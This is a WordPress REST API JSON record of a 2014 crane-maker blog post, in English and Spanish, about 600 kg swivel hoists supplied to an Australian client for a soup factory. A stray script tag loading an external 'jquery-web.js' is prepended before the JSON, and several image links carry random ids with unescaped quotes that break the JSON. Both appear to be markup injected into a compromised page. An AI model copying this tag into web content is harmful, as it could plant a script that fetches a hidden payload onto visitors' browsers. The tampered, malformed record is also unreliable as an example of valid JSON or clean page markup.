<script src="///jquery-web.js"></script>{"id":601,"date":"2014-09-19T10:30:19","date_gmt":"2014-09-19T08:30:19","guid":{"rendered":"https:\/\/www.ghcranes.com\/blog\/?p=601"},"modified":"2014-09-05T10:38:06","modified_gmt":"2014-09-05T08:38:06","slug":"swivel-hoist-for-redfern-flinn","status":"publish","type":"post","link":"https:\/\/www.ghcranes.com\/blog\/swivel-hoist-for-redfern-flinn\/","title":{"rendered":"Swivel Hoist for Redfern Flinn"},"content":{"rendered":"<p>In the photos we can see numerous of <strong>swivel hoists<\/strong>, with <strong>600kg<\/strong> capacity and a lift height of 7m, which are on final processing of manufacturing.<\/p>\n<p>The steering motors are mounted on the opposite side of the cabinet.<\/p>\n<p>Client :\u00a0<strong>Redfern Flinn Cranes and Hoisting Equipment Pty Ltd<\/strong><br \/>\nInstallation place :\u00a0<strong>Melbourne (Australia)<\/strong><\/p>\n<p>These hoists are installed at the factory that makes the famous <strong>Campbell&#8217;s soups<\/strong>.<\/p>\n<p>As a novelty carry the new load limit switch <strong>Airpes ACS-100.<\/strong><\/p>\n<p><a id="zfspgszm" href=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2014\/08\/MG_8789.jpg\"><\/a>\u00a0<a id="rnedcfkb" href=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2014\/08\/MG_8794.jpg\"><\/a><\/p>\n<p><!--more--><\/p>\n<p><a id="prntmedt" href=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2014\/08\/MG_8817.jpg\"><\/a> <a id="jezzjhak" href=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2014\/08\/MG_8819.jpg\"><\/a>\u00a0<a id="ltkrekfh" href=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2014\/08\/MG_8792.jpg\"><\/a> <a id="crgcfcna" href=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2014\/08\/MG_8813.jpg\"><\/a><\/p>\n<p>En las fotos podemos ver numerosos <strong>polipastos\u00a0monorra\u00edles de giro,<\/strong> con capacidad de <strong>600kg<\/strong> y una altura de elevaci\u00f3n de 7m, que est\u00e1n terminando de fabricarse.<\/p>\n<p>Los motores de direcci\u00f3n van montados en el lado opuesto del armario.<\/p>\n<p>Cliente:\u00a0<strong>Redfern Flinn Cranes and Hoisting Equipment Pty Ltd<\/strong><br \/>\nLugar de instalaci\u00f3n: <strong>Melbourne (Australia)<\/strong><\/p>\n<p>Estos polipastos se instalar\u00e1n en la f\u00e1brica que realiza las famosas <strong>sopas\u00a0Campbell&#8217;s.\u00a0<\/strong><\/p>\n<p>Como novedad llevan el nuevo limitador de carga de <strong>Airpes ACS-100.<\/strong><\/p>\n<!-- AddThis Advanced Settings generic via filter on the_content --><!-- AddThis Share Buttons generic via filter on the_content -->","protected":false},"excerpt":{"rendered":"<p>In the photos we can see numerous of swivel hoists, with 600kg capacity and a lift height of 7m, which are on final processing of manufacturing. The steering motors are mounted on the opposite side of the cabinet. Client :\u00a0Redfern Flinn Cranes and Hoisting Equipment Pty Ltd Installation place :\u00a0Melbourne (Australia) These hoists are installed [&hellip;]<!-- AddThis Advanced Settings generic via filter on wp_trim_excerpt --><!-- AddThis Share Buttons generic via filter on wp_trim_excerpt --><\/p>\n","protected":false},"author":1,"featured_media":657,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[6],"tags":[169,167,84,85,166,164,165,168,196],"jetpack_featured_media_url":"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2014\/08\/MG_8787-e1408532801600.jpg","_links":{"self":[{"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/posts\/601"}],"collection":[{"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/comments?post=601"}],"version-history":[{"count":7,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/posts\/601\/revisions"}],"predecessor-version":[{"id":788,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/posts\/601\/revisions\/788"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/media\/657"}],"wp:attachment":[{"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/media?parent=601"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/categories?post=601"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/tags?post=601"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}